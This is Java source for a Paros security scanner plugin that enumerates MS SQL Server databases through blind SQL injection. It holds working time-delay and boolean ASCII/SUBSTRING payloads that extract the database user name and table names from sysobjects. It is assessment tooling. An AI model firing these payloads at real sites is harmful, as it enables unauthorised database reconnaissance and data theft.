Logo Search packages:      
Sourcecode: paros version File versions  Download package

TestInjectionMSSQLEnumeration.java

/*
 *
 * Paros and its related class files.
 * 
 * Paros is an HTTP/HTTPS proxy for assessing web application security.
 * Copyright (C) 2003-2004 Chinotec Technologies Company
 * 
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the Clarified Artistic License
 * as published by the Free Software Foundation.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * Clarified Artistic License for more details.
 * 
 * You should have received a copy of the Clarified Artistic License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */
package org.parosproxy.paros.core.scanner.plugin;

import java.io.IOException;
import java.util.regex.Pattern;

import org.apache.commons.httpclient.HttpException;
import org.parosproxy.paros.core.scanner.AbstractAppParamPlugin;
import org.parosproxy.paros.core.scanner.Alert;
import org.parosproxy.paros.core.scanner.Category;
import org.parosproxy.paros.network.HttpMessage;
import org.parosproxy.paros.network.HttpStatusCode;


/**
 *
 * To change the template for this generated type comment go to
 * Window - Preferences - Java - Code Generation - Code and Comments
 */
00039 public class TestInjectionMSSQLEnumeration extends AbstractAppParamPlugin {

    private static final String[] dependency = {"TestInjectionSQLFingerprint", "TestInjectionSQL"};
    
    private static final int TIME_SPREAD = 15000;

      
//    private static final String SQL_DELAY_1 = "';waitfor%20delay%20'0:0:15';--";
//    private static final String SQL_DELAY_2 = ";waitfor%20delay%20'0:0:15';--";
//
//    private static final String SQL_BLIND_MS_INSERT = ");waitfor%20delay%20'0:0:15';--";
    private static final String SQL_DELAY_1 = "';waitfor delay '0:0:15';--";
    private static final String SQL_DELAY_2 = ";waitfor delay '0:0:15';--";

    private static final String SQL_BLIND_MS_INSERT = ");waitfor delay '0:0:15';--";

    private static final String SQL_BLIND_INSERT = ");--";
      
      
      private static final String SQL_CHECK_ERR = "'INJECTED_PARAM";          // invalid statement to trigger SQL exception. Make sure the pattern below does not appear here
      
      private static final Pattern patternErrorODBC1 = Pattern.compile("Microsoft OLE DB Provider for ODBC Drivers.*error", PATTERN_PARAM);
      private static final Pattern patternErrorODBC2 = Pattern.compile("ODBC.*Drivers.*error", PATTERN_PARAM);
      private static final Pattern patternErrorGeneric = Pattern.compile("JDBC|ODBC|SQL", PATTERN_PARAM);
      private static final Pattern patternErrorODBCMSSQL = Pattern.compile("ODBC SQL Server Driver", PATTERN_PARAM);
      
      private String mResBodyNormal       = "";       // normal response for comparison
      private String mResBodyError  = ""; // error response for comparison



    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getId()
     */
00073     public int getId() {
        return 40031;
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getName()
     */
00080     public String getName() {
        return "MS SQL Injection Enumeration";
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getDependency()
     */
00087     public String[] getDependency() {
        
        return dependency;
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getDescription()
     */
00095     public String getDescription() {
        String msg = "The DB user name or table name can be obtained.";
        return msg;
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getCategory()
     */
00103     public int getCategory() {
        return Category.INJECTION;
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getSolution()
     */
00110     public String getSolution() {
        String msg = "Refer SQL injection.";
        return msg;
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.Test#getReference()
     */
00118     public String getReference() {
        String msg = "Refer SQL injection.";
        return msg;
            
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.AbstractTest#init()
     */
    public void init() {


    }

    public void scan(HttpMessage baseMsg, String param, String value) {
            if (!getKb().getBoolean(baseMsg.getRequestHeader().getURI(), "sql/mssql")) {
                return;
            }

            if (getKb().getString("sql/mssql/username") != null && getKb().getString("sql/mssql/tablename") != null) {
                return;
            }
            
        try {
            scanSQL(baseMsg, param, value);
        } catch (Exception e) {
            
        }
    }

    /* (non-Javadoc)
     * @see com.proofsecure.paros.core.scanner.AbstractAppParamTest#scan(com.proofsecure.paros.network.HttpMessage, java.lang.String, java.lang.String)
     */
    public void scanSQL(HttpMessage baseMsg, String param, String value) throws HttpException, IOException {

        //protected void check(boolean isBody, String paramKey, String paramValue, String query, int insertPos) throws IOException {

            String bingoQuery = null;
            String displayURI = null;
            String newQuery = null;
            
            String resBodyAND = null;
            
            int pos = 0;
            long defaultTimeUsed = 0;

            HttpMessage msg = getNewMsg();
            
            // always try normal query first
            sendAndReceive(msg);
            defaultTimeUsed = msg.getTimeElapsedMillis();
            if (msg.getResponseHeader().getStatusCode() != HttpStatusCode.OK) {
                  return;
            }

            mResBodyNormal = msg.getResponseBody().toString();
            
            if (getKb().getBoolean(msg.getRequestHeader().getURI(), "sql/and")) {
            if (getKb().getString("sql/mssql/username") != null) {
                checkDBUserName(msg, param, value);
            }

            if (getKb().getString("sql/mssql/tablename") != null) {
                checkDBTableName(msg, param, value);
            }
            }
    }
      

      private boolean checkResult(HttpMessage msg, String query) {

            long defaultTimeUsed = 0;
            long timeUsed = 0;
            long lastTime = 0;

            int TRY_COUNT = 10;
            StringBuffer sb = new StringBuffer();

            if (msg.getResponseHeader().getStatusCode() != HttpStatusCode.OK
                  && !HttpStatusCode.isServerError(msg.getResponseHeader().getStatusCode())) {
                  return false;
            }

            if (matchBodyPattern(msg, patternErrorODBCMSSQL, sb)) {
                getKb().add(msg.getRequestHeader().getURI(), "sql/mssql", new Boolean(true));
            }
            
            if (matchBodyPattern(msg, patternErrorODBC1, sb)
                        || matchBodyPattern(msg, patternErrorODBC2, sb)) {
                  // check for ODBC error.  Almost certain.
                  return true;
            } else if (matchBodyPattern(msg, patternErrorGeneric, sb)) {
                  // check for other sql error (JDBC) etc.  Suspicious.
                  return true;
            }
            
            return false;
            
      }
            
      private void checkDBUserName(HttpMessage msg, String param, String value) throws HttpException, IOException {
          
          int charValue = 0;
          StringBuffer sb = new StringBuffer();
          byte[] byteArray = new byte[1];
          
          for (int i=0; i<20; i++) {
              int bit = 0;
              charValue = 0;

              charValue = getDBUserNameBisection(msg, param, value, i, 47, 123);
              if (charValue == 47 || charValue == 123) {
                  break;
              }

              // linear search - use only when failed
//            for (int j=48; j<123; j++) {
//                boolean result = getDBNameQuery(msg, param, value, i, j);
//                if (result) {
//                    charValue = j;
//                    break;
//                }
//            }

            byteArray[0] = (byte) charValue;
            String s = new String(byteArray, "UTF8");
            sb.append(s);
          }
          String result = sb.toString();
          if (result.length() > 0) {
              getKb().add("sql/mssql/username", result);
                  bingo(Alert.RISK_HIGH, Alert.SUSPICIOUS, null, "", "db user name: " + result, msg);

          }
      }
      
      private int getDBUserNameBisection(HttpMessage msg, String param, String value, int charPos, int rangeLow, int rangeHigh) throws HttpException, IOException {
          if (rangeLow == rangeHigh) {
              return rangeLow; 
          }
          
          int medium = (rangeLow + rangeHigh) / 2;
          boolean result = getDBUserNameQuery(msg, param, value, charPos, medium);

          if (rangeHigh - rangeLow < 2) {
              if (result) {
                  return rangeHigh;
              } else {
                  return rangeLow;
              }
          }
          
          if (result) {
              rangeLow = medium;
          } else {
              rangeHigh = medium;
          }
          
          int charResult = getDBUserNameBisection(msg, param, value, charPos, rangeLow, rangeHigh);
          return charResult;
      }

      private boolean getDBUserNameQuery(HttpMessage msg, String param, String value, int charPos, int charCode) throws HttpException, IOException {
          
          //linear search - inefficient
          //String s1 = "' AND ASCII(SUBSTRING(USER_NAME()," + (charPos +1) + ",1)) = " + charCode + " AND '1'='1";
            String s1 = "' AND ASCII(SUBSTRING(USER_NAME()," + (charPos +1) + ",1))>" + charCode + " AND '1'='1";
            
            String resBodyAND = "";
            boolean is1 = false;
            
            // try 2nd blind SQL query using AND with quote
            setParameter(msg, param, value + getURLEncode(s1));
            sendAndReceive(msg);
            
            if (msg.getResponseHeader().getStatusCode() == HttpStatusCode.OK) {
                  // try if 1st SQL AND looks like normal query
                  resBodyAND = stripOff(msg.getResponseBody().toString(), getURLEncode(s1));
                  if (resBodyAND.compareTo(mResBodyNormal) == 0) {
                      is1 = true;
                  }
            }

            return is1;

      }

      private void checkDBTableName(HttpMessage msg, String param, String value) throws HttpException, IOException {
          
          int charValue = 0;
          StringBuffer sb = null;
          byte[] byteArray = new byte[1];

          for (int row=1; row<4; row++) {
              sb = new StringBuffer();
                
              for (int i=0; i<10; i++) {
                  charValue = 0;
                  
                  charValue = getTableNameBisection(msg, param, value, i, 47, 123, row);
                  if (charValue == 47 || charValue == 123) {
                      break;
                  }
                  
                  
                  byteArray[0] = (byte) charValue;
                  String s = new String(byteArray, "UTF8");
                  sb.append(s);
              }
              String result = sb.toString();
              if (result.length() > 0) {
                  getKb().add("sql/mssql/tablename", result);
                  bingo(Alert.RISK_HIGH, Alert.SUSPICIOUS, null, "", "table: " + result, msg);
                  
              }
          }
      }

      
      private int getTableNameBisection(HttpMessage msg, String param, String value, int charPos, int rangeLow, int rangeHigh, int row) throws HttpException, IOException {
          if (rangeLow == rangeHigh) {
              return rangeLow; 
          }
          
          int medium = (rangeLow + rangeHigh) / 2;
          boolean result = getTableNameQuery(msg, param, value, charPos, medium, row);

          if (rangeHigh - rangeLow < 2) {
              if (result) {
                  return rangeHigh;
              } else {
                  return rangeLow;
              }
          }
          
          if (result) {
              rangeLow = medium;
          } else {
              rangeHigh = medium;
          }
          
          int charResult = getTableNameBisection(msg, param, value, charPos, rangeLow, rangeHigh, row);
          return charResult;
      }

      
      private boolean getTableNameQuery(HttpMessage msg, String param, String value, int charPos, int charCode, int row) throws HttpException, IOException {
          
          //linear search - inefficient
            String s1 = null;
            
            if (row == 1) {
                s1= "' AND ascii(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U' ORDER BY name),"+(charPos+1)+", 1))>" + charCode + " AND '1'='1";
            } else {
                s1 = "' AND ascii(substring((SELECT TOP 1 a.name FROM sysobjects as a WHERE a.xtype='U' AND a.name NOT IN(SELECT TOP " + (row -1)+ " b.name FROM sysobjects AS b WHERE b.xtype='U' order by b.name)),"+(charPos+1)+", 1))>" + charCode + " AND '1'='1";

            }
            
            String resBodyAND = "";
            boolean is1 = false;
            
            // try 2nd blind SQL query using AND with quote
            setParameter(msg, param, value + getURLEncode(s1));
            sendAndReceive(msg);
            
            if (msg.getResponseHeader().getStatusCode() == HttpStatusCode.OK) {
                  // try if 1st SQL AND looks like normal query
                  resBodyAND = stripOff(msg.getResponseBody().toString(), getURLEncode(s1));
                  if (resBodyAND.compareTo(mResBodyNormal) == 0) {
                      is1 = true;
                  }
            }

            return is1;

      }


}

Generated by  Doxygen 1.6.0   Back to index